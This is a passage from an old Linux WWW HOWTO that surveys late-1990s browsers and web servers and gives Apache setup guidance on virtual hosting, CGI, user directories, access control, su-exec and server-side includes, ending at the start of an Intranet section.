Emacs is the one program that does everything. It is a word processor, news reader, mail reader, and web browser. It has a steep learning curve at first, because you have to learn what all the keys do. The X-windows version is easier to use, because most of the functions are on menus. Another drawback is that it's mostly text based. (It can display graphics if you are running it under X-windows). It is also free, and the source code is available under the GNU public license.

NCSA Mosaic

Mosaic is an X-windows browser developed by the National Center for Supercomputing Applications (NCSA) at the University of Illinois. NCSA spent four years on the project and has now moved on to other things. Again, Mosaic is no longer supported. However since the source is free for non-commercial use it might make an interesting project for someone who wants to develop a new browser.

Amaya

Amaya is the X-windows concept browser for the W3C for HTML 3.2. Therefore it supports all the HTML 3.2 standards. It also supports some of the features of HTML 4.0. It supports tables, forms, client side image maps, put publishing, gifs, jpegs, and png graphics. It is both a browser and authoring tool. The latest public release is 1.0 beta. Version 1.1 beta is in internal testing and is due out soon. For more information visit the Amaya web site at http://www.w3.org/Amaya/. It can be downloaded from ftp://ftp.w3.org/pub/Amaya-LINUX-ELF-1.0b.tar.gz.

Qweb

Qweb is yet another basic X-windows browser. It supports tables, forms, and server site image maps. The latest version is 1.3. For more information visit the Qweb website at http://sunsite.auc.dk/qweb/ The source is available from http://sunsite.auc.dk/qweb/qweb-1.3.tar.gz The binaries are available in a Red Hat RPM from http://sunsite.auc.dk/qweb/qweb-1.3-1.i386.rpm

It is the reccomendation of this author that users of web browsers use either Netscape 4.x, Lynx or Netscape 5.xAlpha. They are the only one currently available for Linux that support most features. Personally I suggest Netscape5.xAlpha, even though it is Alpha Software it is quite stable and frankly implements the standards better than the 4.x versions do.


Linux WWW HOWTO : Lynx

 Next Previous Contents

3. Lynx

Lynx is one of the smaller (around 600 K executable) and faster web browsers available. It does not eat up much bandwidth nor system resources as it only deals with text displays. It can display on any console, terminal or xterm. You will not need an X Windows system or additional system memory to run this little browser.

3.1 Where to get

Most distributions have Lynx in them. Therefore I will not bore you with the details of compiling and installing Lynx.

The latest version is 2.8.2 and can be retrieved from http://www.slcc.edu/lynx/fote/ or from almost any friendly Linux FTP server like ftp://sunsite.unc.edu under /pub/Linux/apps/www/broswers/ or mirror site.

For more information on Lynx try these locations:

Lynx Links

http://www.crl.com/~subir/lynx.html

Lynx Pages

http://lynx.browser.org

Lynx Help Pages

http://www.crl.com/~subir/lynx/lynx_help/lynx_help_main.html (the same pages you get from lynx --help and typing ? in lynx)

Note: The Lynx help pages have recently moved. If you have an older version of Lynx, you will need to change your lynx.cfg (in /usr/lib) to point to the new address(above).

I think the most special feature of Lynx against all other web browsers is the capability for batch mode retrieval. One can write a shell script which retrieves a document, file or anything like that via http, FTP, gopher, WAIS, NNTP or file:// - url's and save it to disk. Furthermore, one can fill in data into HTML forms in batch mode by simply redirecting the standard input and using the -post_data option.

For more special features of Lynx just look at the help files and the man pages. If you use a special feature of Lynx that you would like to see added to this document, let me know.


Linux WWW HOWTO : Emacs-W3

 Next Previous Contents

4. Emacs-W3

There are several different flavors of Emacs. The two most popular are GNU Emacs and XEmacs. GNU Emacs is put out by the Free Software Foundation, and is the original Emacs. It is mainly geared toward text based terminals, but it does run in X-Windows. XEmacs (formerly Lucid Emacs) is a version that only runs on X-Windows. It has many special features that are X-Windows related (better menus etc).

4.1 Where to get

Most distributions include GNU Emacs.

The most recent GNU emacs is 19.34. It doesn't seem to have a web site. The FTP site is at ftp://ftp.gnu.ai.mit.edu/pub/gnu/.

The latest version of XEmacs is 20.2. The XEmacs FTP site is at ftp://ftp.xemacs.org/pub/xemacs. For more information about XEmacs goto see its web page at http://www.xemacs.org.

Both are available from the Linux archives at ftp://sunsite.unc.edu under /pub/Linux/apps/editors/emacs/

If you got GNU Emacs or XEmacs installed, you probably got the W3 browser running to.

The Emacs W3 mode is a nearly fully featured web browser system written in the Emacs Lisp system. It mostly deals with text, but can display graphics, too - at least - if you run the emacs under the X Window system.

To get XEmacs in to W3 mode, goto the apps menu and select browse the web.

I don't use Emacs, so if someone will explain how to get it into the W3 mode I'll add it to this document. Most of this information was from the original author. If any information is incorrect, please let me know. Also let me know if you think anything else should be added about Emacs.


Linux WWW HOWTO : Netscape Navigator/Communicator

 Next Previous Contents

5. Netscape Navigator/Communicator

5.1 Different versions and options.

Netscape Navigator is the King of WWW browsers. Netscape Navigator can do almost everything. But on the other hand, it is one of the most memory hungry and resource eating program I've ever seen.

There are 3 different versions of the program:

Netscape Navigator includes the web browser, netcaster (push client) and a basic mail program.

Netscape Communicator includes the web browser, a web editor, an advanced mail program, a news reader, netcaster (push client), and a group conference utility.

Netscape Communicator Pro includes everything Communicator has plus a group calendar, IBM terminal emulation, and remote administration features (administrators can update thousands of copies of Netscape from their desk).

In addition to the three versions there are two other options you must pick.

The first is full install or base install. The full install includes everything. The base install includes enough to get you started. You can download the additional components as you need them (such as multimedia support and netcaster). These components can be installed by the Netscape smart update utility (after installing goto help->software updates). At this time the full install is not available for Linux.

The second option is import or export. If you are from the US are Canada you have the option of selecting the import version. This gives you the stronger 128 bit encryption for secure transactions (SSL). The export version only has 40 bit encryption, and is the only version allowed outside the US and Canada.

The latest version of the Netscape Navigator/Communicator/Communicator Pro is 4.6.1. There are two different versions for Linux. One is for the old 1.2 series kernels and one for the new 2.x kernels. If you don't have at least a 2.0 kernel I suggest you upgrade; there are many improvements in the new kernel.

Beta versions are also available. If you try a beta version, they usually expire in a month or so!

You can also try the 5.0 alpha at the Mozilla project located at www.mozilla.org. I suggest this highly, the new Netscape 5 is the best browser I have seen in a long time. It is extremely flexible and mostly stable even for an Alpha release.

5.2 Where to get

The best way to get Netscape software is to go through their web site at http://www.netscape.com/download/. They have menu's to guide you through the selection. When it ask for the Linux version, it is referring to the kernel (most people should be using 2.0 by now). If your not sure which version kernel you have run 'cat /proc/version'. Going through the web site is the only way to get the import versions.

If you want an export version you can download them directly from the Netscape FTP servers. The FTP servers are also more up to date. For example when I first wrote this the web interface did not have the non-beta 4.03 for Linux yet, but it was on the FTP site. Here are the links to the export Linux 2.0 and 2.2 versions:

Netscape Navigator 4.6.1 is at ftp://ftp.netscape.com/pub/communicator/4.6/shipping/english/unix/linux20/navigator_standalone/navigator-v403-export.x86-unknown-linux2.0.tar.gz

Netscape Communicator 4.6.1 for Linux 2.0 (kernel) is at ftp://ftp.netscape.com/pub/communicator/4.6/shipping/english/unix/linux20/base_install/communicator-v403-export.x86-unknown-linux2.0.tar.gz

These url's will change as new versions come out. If these links break you can find them by fishing around at the FTP site ftp://ftp.netscape.com/pub/communicator/.

These servers are heavily loaded at times. Its best to wait for off peak hours or select a mirror site. Be prepared to wait, these archives are large. Navigator is almost 8megs, and Communicator base install is 10megs.

5.3 Installing

This section explains how to install version 4 of Netscape Navigator, Communicator, and Communicator Pro.

First unpack the archive to a temporary directory. Then run the ns-install script (type ./ns-install). Then make a symbolic link from the /usr/local/netscape/netscape binary to /usr/local/bin/netscape (type ln -s /usr/local/netscape/netscape /usr/local/bin/netscape). Finally set the system wide environment variable $MOZILLA_HOME to /usr/local/netscape so Netscape can find its files. If you are using bash for your shell edit your /etc/profile and add the lines:

MOZILLA_HOME="/usr/local/netscape"
export MOZILLA_HOME

After you have it installed the software can automatically update itself with smart update. Just run Netscape as root and goto help->software updates. If you only got the base install, you can also install the Netscape components from there.

Note: This will not remove any old versions of Netscape, you must manually remove them by deleting the Netscape binary and Java class file (for version 3).


Linux WWW HOWTO : Setting up WWW server systems

 Next Previous Contents

6. Setting up WWW server systems

This section contains information on different http server software packages and additional server side tools like script languages for CGI programs etc. There are several dozen web servers, I only covered those that are fully functional. As some of these are commercial products, I have no way of trying them. Most of the information in the overview section was pieced together from various web sites. If there is any incorrect or missing information please let me know.

For a technical description on the http mechanism, take a look at the RFC documents mentioned in the chapter "For further reading" of this HOWTO.

I prefer to use the Apache server. It has almost all the features you would ever need and its free! I will admit that this section is heavily biased toward Apache. I decided to concentrate my efforts on the Apache section rather than spread it out over all the web servers. I may cover other web servers in the future.

6.1 Overview

Cern httpd

This was the first web server. It was developed by the European Laboratory for Particle Physics (CERN). CERN httpd is no longer supported. The CERN httpd server is reported to have some ugly bugs, to be quite slow and resource hungry. The latest version is 3.0. For more information visit the CERN httpd home page at http://www.w3.org/Daemon/Status.html. It is available for download at ftp://sunsite.unc.edu/pub/Linux/apps/www/servers/httpd-3.0.term.tpz (no it is not a typo, the extension is actually .tpz on the site; probably should be .tgz)

NCSA HTTPd

The NCSA HTTPd server is the father to Apache (The development split into two different servers). Therefore the setup files are very similar. NCSA HTTPd is free and the source code is available. This server not covered in this document, although reading the Apache section may give you some help. The NCSA server was once popular, but most people are replacing it with Apache. Apache is a drop in replacement for the NCSA server(same configuration files), and it fixes several shortcomings of the NCSA server. NCSA HTTPd accounts for 4.9% (and falling) of all web servers. (source September 1997 Netcraft survey). The latest version is 1.5.2a. For more information see the NCSA website at http://hoohoo.ncsa.uiuc.edu.

Apache

Apache is the king of all web servers. Apache and its source code is free. Apache is modular, therefore it is easy to add features. Apache is very flexible and has many, many features. Apache and its derivatives makes up 55% of all web domains. There are over 3,928,112 Apache servers in operation (source August 1999 Netcraft survey).

The official Apache is missing SSL, but there are two derivatives that fill the gap. Stronghold is a commercial product that is based on Apache. It retails for $995; an economy version is available for $495 (based on an old version of Apache). Stronghold is the number two secure server behind Netscape (source C2 net and Netcraft survey). For more information visit the Stronghold website at http://www.c2.net/products/stronghold/. It was developed outside the US, so it is available with 128 bit SSL everywhere.

Apache-SSL is a free implementation of SSL, but it is not for commercial use in the US (RSA has US patents on SSL technology). It can be used for non-commercial use in the US if you link with the free RSAREF library. For more information see the website at http://www.algroup.co.uk/Apache-SSL/.

Netscape Fast Track Server

Fast Track was developed by Netscape, but the Linux version is put out by Caldera. The Caldera site lists it as Fast Track for OpenLinux. I'm not sure if it only runs on Caldera OpenLinux or if any Linux distribution will do (E-mail me if you have the answer). Netscape servers account for 6.11% (and RISING!) of all web servers (source August 1999 http://www.netcraft.com/survey/). The server sells for $295. It is also included with the Caldera OpenLinux Standard distribution which sells for $399 ($199.50 educational). The web pages tell of a nice administration interface and a quick 10 minute setup. The server has support for 40-bit SSL. To get the full 128-bit SSL you need Netscape Enterprise Server. Unfortunately that is not available for Linux :( The latest version available for Linux is 2.0 (Version 3 is in beta, but its not available for Linux yet). To buy a copy goto the Caldera web site at http://www.caldera.com/products/netscape/netscape.html For more information goto the Fast Track page at http://www.netscape.com/comprod/server_central/product/fast_track/

WN

WN has many features that make it attractive. First it is smaller than the CERN, NCSA HTTPd, an Apache servers. It also has many built-in features that would require CGI's. For example site searches, enhanced server side includes. It can also decompress/compress files on the fly with its filter feature. It also has the ability to retrieve only part of a file with its ranges feature. It is released under the GNU public license. The current version is 2.08. For more information see the WN website at http://hopf.math.nwu.edu/.

AOLserver

AOLserver is made by America Online. I'll admit that I was surprised by the features of a web server coming from AOL. In addition to the standard features it supports database connectivity. Pages can query a database by Structured Query Language (SQL) commands. The database is access through Open Database Connectivity (ODBC). It also has built-in search engine and TCL scripting. If that is not enough you can add your own modules through the c Application Programming Interface (API). I almost forgot to mention support for 40 bit SSL. And you get all this for free! For more information visit the AOLserver site at http://www.aolserver.com/server/

CL-HTTP

CL-HTTP stands for Common Lisp Hypermedia Server. If you are a Lisp programmer this server is for you. You can write your CGI scripts in Lisp. It has a web based setup function. It also supports all the standard server features. CL-HTTP is free and the source code is available. For more information visit the CL-HTTP website at http://www.ai.mit.edu/projects/iiip/doc/cl-http/home-page.html

If you have a commercial purpose (company web site, or ISP), I would strongly recommend that you use Apache. I've also heard that the Netscape Server is easy to setup. If you have an internal use you can be a bit more flexible. But unless one of them has a feature that you just have to use,

This is only a partial listing of all the servers available. For a more complete list visit Netcraft at http://www.netcraft.com/survey/servers.html or Web Compare at http://webcompare.internet.com.


Linux WWW HOWTO : Apache

 Next Previous Contents

7. Apache

The current version of Apache is 1.3.9. The main Apache site is at http://www.apache.org/. Another good source of information is Apacheweek at http://www.apacheweek.com/. The Apache documentation is ok, so I'm not going to go into detail in setting up apache. The documentation is on the website and is included with the source (in HTML format). There are also text files included with the source, but the HTML version is better. The documentation should get a whole lot better once the Apache Documentation Project gets under way. Right now most of the documents are written by the developers. Not to discredit the developers, but they are a little hard to understand if you don't know the terminology.

7.1 Where to get

Apache is included in the Red Hat, Slackware, and OpenLinux distributions. Although they may not be the latest version, they are very reliable binaries. The bad news is you will have to live with their directory choices (which are totally different from each other and the Apache defaults).

The source is available from the Apache web site at http://www.apache.org/dist/ Binaries are are also available at apache at the same place. You can also get binaries from sunsite at ftp://sunsite.unc.edu/pub/Linux/apps/www/servers/. And for those of us running Red Hat the latest binary RPM file can usually be found in the contrib directory at ftp://ftp.redhat.com/pub/contrib/i386/

If your server is going to be used for commercial purposes, it is highly recommended that you get the source from the Apache website and compile it yourself. The other option is to use a binary that comes with a major distribution. For example Slackware, Red Hat, or OpenLinux distributions. The main reason for this is security. An unknown binary could have a back door for hackers, or an unstable patch that could crash your system. This also gives you more control over what modules are compiled in, and allows you to set the default directories. It's not that difficult to compile Apache, and besides you not a real Linux user until you compile your own programs ;)

7.2 Compiling and Installing

First untar the archive to a temporary directory. Next change to the src directory. Then edit the Configuration file if you want to include any special modules. The most commonly used modules are already included. There is no need to change the rules or makefile stuff for Linux. Next run the Configure shell script (./Configure). Make sure it says Linux platform and gcc as the compiler. Next you may want to edit the httpd.h file to change the default directories. The server home (where the config files are kept) default is /usr/local/etc/httpd/, but you may want to change it to just /etc/httpd/. And the server root (where the HTML pages are served from) default is /usr/local/etc/httpd/htdocs/, but I like the directory /home/httpd/html (the Red Hat default for Apache). If you are going to be using su-exec (see special features below) you may want to change that directory too. The server root can also be changed from the config files too. But it is also good to compile it in, just encase Apache can't find or read the config file. Everything else should be changed from the config files. Finally run make to compile Apache.

If you run in to problems with include files missing, check the following things. Make sure you have the kernel headers (include files) installed for your kernel version. Also make sure you have these symbolic links in place:

/usr/include/linux should be a link to /usr/src/linux/include/linux
/usr/include/asm should be a link to /usr/src/linux/include/asm
/usr/src/linux should be a link to the Linux source directory (ex.linux-2.0.30)
Links can be made with ln -s, it works just like the cp command except it makes a link (ln -s source-dir destination-link)

When make is finished there should be an executable named httpd in the directory. This needs to be moved in to a bin directory. /usr/sbin or /usr/local/sbin would be good choices.

Copy the conf, logs, and icons sub-directories from the source to the server home directory. Next rename 3 of the files files in the conf sub-directory to get rid of the -dist extension (ex. httpd.conf-dist becomes httpd.conf)

There are also several support programs that are included with Apache. They are in the support directory and must be compiled and installed separately. Most of them can be make by using the makefile in that directory (which is made when you run the main Configure script). You don't need any of them to run Apache, but some of them make the administrators job easier.

7.3 Configuring

Now you should have four files in your conf sub-directory (under your server home directory). The httpd.conf sets up the server daemon (port number, user, etc). The srm.conf sets the root document tree, special handlers, etc. The access.conf sets the base case for access. Finally mime.types tells the server what mime type to send to the browser for each extension.

The configuration files are pretty much self-documented (plenty of comments), as long as you understand the lingo. You should read through them thoroughly before putting your server to work. Each configuration item is covered in the Apache documentation.

The mime.types file is not really a configuration file. It is used by the server to translate file extensions into mime-types to send to the browser. Most of the common mime-types are already in the file. Most people should not need to edit this file. As time goes on, more mime types will be added to support new programs. The best thing to do is get a new mime-types file (and maybe a new version of the server) at that time.

Always remember when you change the configuration files you need to restart Apache or send it the SIGHUP signal with kill for the changes to take effect. Make sure you send the signal to the parent process and not any of the child processes. The parent usually has the lowest process id number. The process id of the parent is also in the httpd.pid file in the log directory. If you accidently send it to one of the child processes the child will die and the parent will restart it.

I will not be walking you through the steps of configuring Apache. Instead I will deal with specific issues, choices to be made, and special features.

I highly recommend that all users read through the security tips in the Apache documentation. It is also available from the Apache website at http://www.apache.org/docs/mics/security_tips.html.

7.4 Hosting virtual websites

Virtual Hosting is when one computer has more than one domain name. The old way was to have each virtual host have its own IP address. The new way uses only one IP address, but it doesn't work correctly with browsers that don't support HTTP 1.1.

My recommendation for businesses is to go with the IP based virtual hosting until most people have browsers that support HTTP 1.1 (give it a year or two). This also gives you a more complete illusion of virtual hosting. While both methods can give you virtual mail capabilities (can someone confirm this?), only IP based virtual hosting can also give you virtual FTP as well.

If it is for a club or personal page, you may want to consider shared IP virtual hosting. It should be cheaper than IP based hosting and you will be saving precious IP addresses.

You can also mix and match IP and shared IP virtual hosts on the same server. For more information on virtual hosting visit Apacheweek at http://www.apacheweek.com/features/vhost.

IP based virtual hosting

In this method each virtual host has its own IP address. By determining the IP address that the request was sent to, Apache and other programs can tell what domain to serve. This is an incredible waste of IP space. Take for example the servers where my virtual domain is kept. They have over 35,000 virtual accounts, that means 35,000 IP addresses. Yet I believe at last count they had less than 50 servers running.

Setting this up is a two part process. The first is getting Linux setup to accept more than one IP address. The second is setting up apache to serve the virtual hosts.

The first step in setting up Linux to accept multiple IP addresses is to make a new kernel. This works best with a 2.0 series kernel (or higher). You need to include IP networking and IP aliasing support. If you need help with compiling the kernel see the kernel howto.

Next you need to setup each interface at boot. If you are using the Red Hat Distribution then this can be done from the control panel. Start X-windows as root, you should see a control panel. Then double click on network configuration. Next goto the interfaces panel and select your network card. Then click alias at the bottom of the screen. Fill in the information and click done. This will need to be done for each virtual host/IP address.

If you are using other distributions you may have to do it manually. You can just put the commands in the rc.local file in /etc/rc.d (really they should go in with the networking stuff). You need to have a ifconfig and route command for each device. The aliased addresses are given a sub device of the main one. For example eth0 would have aliases eth0:0, eth0:1, eth0:2, etc. Here is an example of configuring a aliased device:

ifconfig eth0:0 192.168.1.57
route add -host 192.168.1.57 dev eth0:0
You can also add a broadcast address and a netmask to the ifconfig command. If you have alot of aliases you may want to make a for loop to make it easier. For more information see the IP alias mini howto.

Then you need to setup your domain name server (DNS) to serve these new domains. And if you don't already own the domain names, you need to contact the Internic to register the domain names. See the DNS-howto for information on setting up your DNS.

Finally you need to setup Apache to server the virtual domain correctly. This is in the httpd.conf configuration file near the end. They give you an example to go by. All commands specific to that virtual host are put in between the virtualhost directive tags. You can put almost any command in there. Usually you set up a different document root, script directory, and log files. You can have almost unlimited number of virtual hosts by adding more virtualhost directive tags.

In rare cases you may need to run separate servers if a directive is needed for a virtual host, but is not allowed in the virtual host tags. This is done using the bindaddress directive. Each server will have a different name and setup files. Each server only responds to one IP address, specified by the bindaddress directive. This is an incredible waste of system resources.

Shared IP virtual hosting

This is a new way to do virtual hosting. It uses a single IP address, thus conserving IP addresses for real machines (not virtual ones). In the same example used above those 30,000 virtual hosts would only take 50 IP addresses (one for each machine). This is done by using the new HTTP 1.1 protocol. The browser tells the server which site it wants when it sends the request. The problem is browsers that don't support HTTP 1.1 will get the servers main page, which could be setup to provide a menu of virtual hosts available. That ruins the whole illusion of virtual hosting. The illusion that you have your own server.

The setup is much simpler than the IP based virtual hosting. You still need to get your domain from the Internic and setup your DNS. This time the DNS points to the same IP address as the original domain. Then Apache is setup the same as before. Since you are using the same IP address in the virtualhost tags, it knows you want Shared IP virtual hosting.

There are several work arounds for older browsers. I'll explain the best one. First you need to make your main pages a virtual host (either IP based or shared IP). This frees up the main page for a link list to all your virtual hosts. Next you need to make a back door for the old browsers to get in. This is done using the ServerPath directive for each virtual host inside the virtualhost directive. For example by adding ServerPath /mysite/ to www.mysite.com old browsers would be able to access the site by www.mysite.com/mysite/. Then you put the default page on the main server that politely tells them to get a new browser, and lists links to all the back doors of all the sites you host on that machine. When an old browser accesses the site they will be sent to the main page, and get a link to the correct page. New browsers will never see the main page and will go directly to the virtual hosts. You must remember to keep all of your links relative within the web sites, because the pages will be accessed from two different URL's (www.mysite.com and www.mysite.com/mysite/).

I hope I didn't lose you there, but its not an easy workaround. Maybe you should consider IP based hosting after all. A very similar workaround is also explained on the apache website at http://www.apache.org/manual/host.html.

If anyone has a great resource for Shared IP hosting, I would like to know about it. It would be nice to know what percent of browsers out there support HTTP 1.1, and to have a list of which browsers and versions support HTTP 1.1.

7.5 CGI scripts

There are two different ways to give your users CGI script capability. The first is make everything ending in .cgi a CGI script. The second is to make script directories (usually named cgi-bin). You could also use both methods. For either method to work the scripts must be world executable (chmod 711). By giving your users script access you are creating a big security risk. Be sure to do your homework to minimize the security risk.

I prefer the first method, especially for complex scripting. It allows you to put scripts in any directory. I like to put my scripts with the web pages they work with. For sites with allot of scripts it looks much better than having a directory full of scripts. This is simple to setup. First uncomment the .cgi handler at the end of the srm.conf file. Then make sure all your directories have the option ExecCGI or All in the access.conf file.

Making script directories is considered more secure. To make a script directory you use the ScriptAlias directive in the srm.conf file. The first argument is the Alias the second is the actual directory. For example ScriptAlias /cgi-bin/ /usr/httpd/cgi-bin/ would make /usr/httpd/cgi-bin able to execute scripts. That directory would be used whenever someone asked for the directory /cgi-bin/. For security reasons you should also change the properties of the directory to Options none, AllowOveride none in the access.conf (just uncomment the example that is there). Also do not make your script directories subdirectories of your web page directories. For example if you are serving pages from /home/httpd/html/, don't make the script directory /home/httpd/html/cgi-bin; Instead make it /home/httpd/cgi-bin.

If you want your users to have there own script directories you can use multiple ScriptAlias commands. Virtual hosts should have there ScriptAlias command inside the virtualhost directive tags. Does anyone know a simple way to allow all users to have a cgi-bin directory without individual ScriptAlias commands?

7.6 Users Web Directories

There are two different ways to handle user web directories. The first is to have a subdirectory under the users home directory (usually public_html). The second is to have an entirely different directory tree for web directories. With both methods make sure set the access options for these directories in the access.conf file.

The first method is already setup in apache by default. Whenever a request for /~bob/ comes in it looks for the public_html directory in bob's home directory. You can change the directory with the UserDir directive in the srm.conf file. This directory must be world readable and executable. This method creates a security risk because for Apache to access the directory the users home directory must be world executable.

The second method is easy to setup. You just need to change the UserDir directive in the srm.conf file. It has many different formats; you may want to consult the Apache documentation for clarification. If you want each user to have their own directory under /home/httpd/, you would use UserDir /home/httpd. Then when the request /~bob/ comes in it would translate to /home/httpd/bob/. Or if you want to have a subdirectory under bob's directory you would use UserDir /home/httpd/*/html. This would translate to /home/httpd/bob/html/ and would allow you to have a script directory too (for example /home/httpd/bob/cgi-bin/).

7.7 Daemon mode vs. Inetd mode

There are two ways that apache can be run. One is as a daemon that is always running (Apache calls this standalone). The second is from the inetd super-server.

Daemon mode is far superior to inetd mode. Apache is setup for daemon mode by default. The only reason to use the inetd mode is for very low use applications. Such as internal testing of scripts, small company Intranet, etc. Inetd mode will save memory because apache will be loaded as needed. Only the inetd daemon will remain in memory.

If you don't use apache that often you may just want to keep it in daemon mode and just start it when you need it. Then you can kill it when you are done (be sure to kill the parent and not one of the child processes).

To setup inetd mode you need to edit a few files. First in /etc/services see if http is already in there. If its not then add it:

http    80/tcp
Right after 79 (finger) would be a good place. Then you need to edit the /etc/inetd.conf file and add the line for Apache:
http    stream  tcp     nowait  root    /usr/sbin/httpd httpd
Be sure to change the path if you have Apache in a different location. And the second httpd is not a typo; the inet daemon requires that. If you are not currently using the inet daemon, you may want to comment out the rest of the lines in the file so you don't activate other services as well (FTP, finger, telnet, and many other things are usually run from this daemon).

If you are already running the inet deamon (inetd), then you only need to send it the SIGHUP signal (via kill; see kill's man page for more info) or reboot the computer for changes to take effect. If you are not running inetd then you can start it manually. You should also add it to your init files so it is loaded at boot (the rc.local file may be a good choice).

7.8 Allowing put and delete commands

The newer web publishing tools support this new method of uploading web pages by http (instead of FTP). Some of these products don't even support FTP anymore! Apache does support this, but it is lacking a script to handle the requests. This script could be a big security hole, be sure you know what you are doing before attempting to write or install one.

If anyone knows of a script that works let me know and I'll include the address to it here.

For more information goto Apacheweek's article at http://www.apacheweek.com/features/put.

7.9 User Authentication/Access Control

This is one of my favorite features. It allows you to password protect a directory or a file without using CGI scripts. It also allows you to deny or grant access based on the IP address or domain name of the client. That is a great feature for keeping jerks out of your message boards and guest books (you get the IP or domain name from the log files).

To allow user authentication the directory must have AllowOverrides AuthConfig set in the access.conf file. To allow access control (by domain or IP address) AllowOverrides Limit must be set for that directory.

Setting up the directory involves putting an .htaccess file in the directory. For user authentication it is usually used with an .htpasswd and optionally a .htgroup file. Those files can be shared among multiple .htaccess files if you wish.

For security reasons I recommend that everyone use these directives in there access.conf file:

<files ~ "/\.ht">
order deny,allow
deny from all
</files>

If you are not the administrator of the system you can also put it in your .htaccess file if AllowOverride Limit is set for your directory. This directive will prevent people from looking into your access control files (.htaccess, .htpasswd, etc).

There are many different options and file types that can be used with access control. Therefore it is beyond the scope of this document to describe the files. For information on how to setup User Authentication see the Apacheweek feature at http://www.apacheweek.com/features/userauth or the NCSA pages at http://hoohoo.ncsa.uiuc.edu/docs-1.5/tutorials/user.html.

7.10 su-exec

The su-exec feature runs CGI scripts as the user of the owner. Normally it is run as the user of the web server (usually nobody). This allows users to access there own files in CGI scripts without making them world writable (a security hole). But if you are not careful you can create a bigger security hole by using the su-exec code. The su-exec code does security checks before executing the scripts, but if you set it up wrong you will have a security hole.

The su-exec code is not for amateurs. Don't use it if you don't know what you are doing. You could end up with a gaping security hole where your users can gain root access to your system. Do not modify the code for any reason. Be sure to read all the documentation carefully. The su-exec code is hard to setup on purpose, to keep the amateurs out (everything must be done manually, no make file no install scripts).

The su-exec code resides in the support directory of the source. First you need to edit the suexec.h file for your system. Then you need to compile the su-exec code with this command:

gcc suexec.c -o suexec
Then copy the suexec executable to the proper directory. The Apache default is /usr/local/etc/httpd/sbin/. This can be changed by editing httpd.h in the Apache source and recompiling Apache. Apache will only look in this directory, it will not search the path. Next the file needs to be changed to user root (chown root suexec) and the suid bit needs to be set (chmod 4711 suexec). Finally restart Apache, it should display a message on the console that su-exec is being used.

CGI scripts should be set world executable like normal. They will automaticaly be run as the owner of the CGI script. If you set the SUID (set user id) bit on the CGI scripts they will not run. If the directory or file is world or group writable the script will not run. Scripts owned by system users will not be run (root, bin, etc.). For other security conditions that must be met see the su-exec documentation. If you are having problems see the su-exec log file named cgi.log.

Su-exec does not work if you are running Apache from inetd, it only works in daemon mode. It will be fixed in the next version because there will be no inetd mode. If you like playing around in source code, you can edit the http_main.c. You want to get rid of the line where Apache announces that it is using the su-exec wrapper (It wrongly prints this in front of the output of everything).

Be sure and read the Apache documentation on su-exec. It is included with the source and is available on the Apache web site at http://www.apache.org/docs/suexec.html

7.11 Imagemaps

Apache has the ability to handle server side imagemaps. Imagemaps are images on webpages that take users to different locations depending on where they click. To enable imagemaps first make sure the imagemap module is installed (its one of the default modules). Next you need to uncomment the .map handler at the end of the srm.conf file. Now all files ending in .map will be imagemap files. Imagemap files map different areas on the image to separate links. Apache uses map files in the standard NCSA format. Here is an example of using a map file in a web page:

<a href="/map/mapfile.map">
<img src="picture.gif" ISMAP>
</a>
In this example mapfile.map is the mapfile, and picture.gif is the image to click on.

There are many programs that can generate NCSA compatible map files or you can create them yourself. For a more detailed discussion of imagemaps and map files see the Apacheweek feature at http://www.apacheweek.com/features/imagemaps.

7.12 SSI/XSSI

Server Side Includes (SSI) adds dynamic content to otherwise static web pages. The includes are embedded in the web page as comments. The web server then parses these includes and passes the results to the web server. SSI can add headers and footers to documents, add date the document was last updated, execute a system command or a CGI script. With the new eXtended Server Side Includes (XSSI) you can do a whole lot more. XSSI adds variables and flow control statements (if, else, etc). Its almost like having an programming language to work with.

Parsing all HTML files for SSI commands would waste allot of system resources. Therefore you need to distinguish normal HTML files from those that contain SSI commands. This is usually done by changing the extension of the SSI enhanced HTML files. Usually the .shtml extension is used.

To enable SSI/XSSI first make sure that the includes module is installed. Then edit srm.conf and uncomment the AddType and AddHandler directives for .shtml files. Finally you must set Options Includes for all directories where you want to run SSI/XSSI files. This is done in the access.conf file. Now all files with the extension .shtml will be parsed for SSI/XSSI commands.

Another way of enabling includes is to use the XBitHack directive. If you turn this on it looks to see if the file is executable by user. If it is and Options Includes is on for that directory, then it is treated as an SSI file. This only works for files with the mime type text/html (.html .htm files). This is not the preferred method.

There is a security risk in allowing SSI to execute system commands and CGI scripts. Therefore it is possible to lock that feature out with the Option IncludesNOEXEC instead of Option Includes in the access.conf file. All the other SSI commands will still work.

For more information see the Apache mod_includes documentation that comes with the source. It is also available on the website at http://www.apache.org/docs/mod/mod_include.html.

For a more detailed discussion of SSI/XSSI implementation see the Apacheweek feature at http://www.apacheweek.com/features/ssi.

For more information on SSI commands see the NCSA documentation at http://hoohoo.ncsa.uiuc.edu/docs/tutorials/includes.html.

For more information on XSSI commands goto ftp://pageplus.com/pub/hsf/xssi/xssi-1.1.html.

7.13 Module system

Apache can be extended to support almost anything with modules. There are allot of modules already in existence. Only the general interest modules are included with Apache. For links to existing modules goto the

Apache Module Registry at http://www.zyzzyva.com/module_registry/.

For module programming information goto http://www.zyzzyva.com/module_registry/reference/


Linux WWW HOWTO : Web Server Add-ons

 Next Previous Contents

8. Web Server Add-ons

Sorry this section has not been written yet.

Coming soon: mSQL, PHP/FI, cgiwrap, Fast-cgi, MS frontpage extentions, and more.


Linux WWW HOWTO : Intranet Section

 Next Previous Contents

9. Intranet Section

In simple terms, the Intranet is the descriptive term being used for the implementation of Internet technologies within a corporate organisation, rather than for external connection to the global Internet. This implementation is performed in such a way as to transparently deliver the immense informational resources of an organisation to each individuals desktop with minimal cost, time and effort. This document attempts to explain in simple terms how to setup an Intranet using tools which are readily available and are generally costing little or are free.

This document assumes that you already know how to install TCP/IP on your Linux server and connect it physically to your LAN using an Ethernet network card. This also assumes you have some basic knowledge of Netware, WinNT and Mac systems. The configuration of the Netware server has been shown using version 3.1x as the basis. You can also use INETCFG to achieve the same result. On the client side the discussion is with respect to Windows 3.1x, Windows for Workgroups and Win95, WinNT and the Apple PowerMac.

I am using the private network addresses (RFC-1918) of 172.16.0.0 and 172.17.0.0 only as examples. You may choose suitable addresses depending on your configuration.

       Linux       Netware      WFWG/WinNT
       Server      Server       Server
      172.16.0.1   172.16.0.2   172.16.0.3
         |           |           |    172.16.0.0
   ------+-----+-----+--------+--+--------------
               |              | 172.16.0.254
             W/S 1          Router
           172.16.0.5         | 172.17.0.254
                              |
                    ----------+-------+--------
               172.17.0.0             |
                                    W/S 2
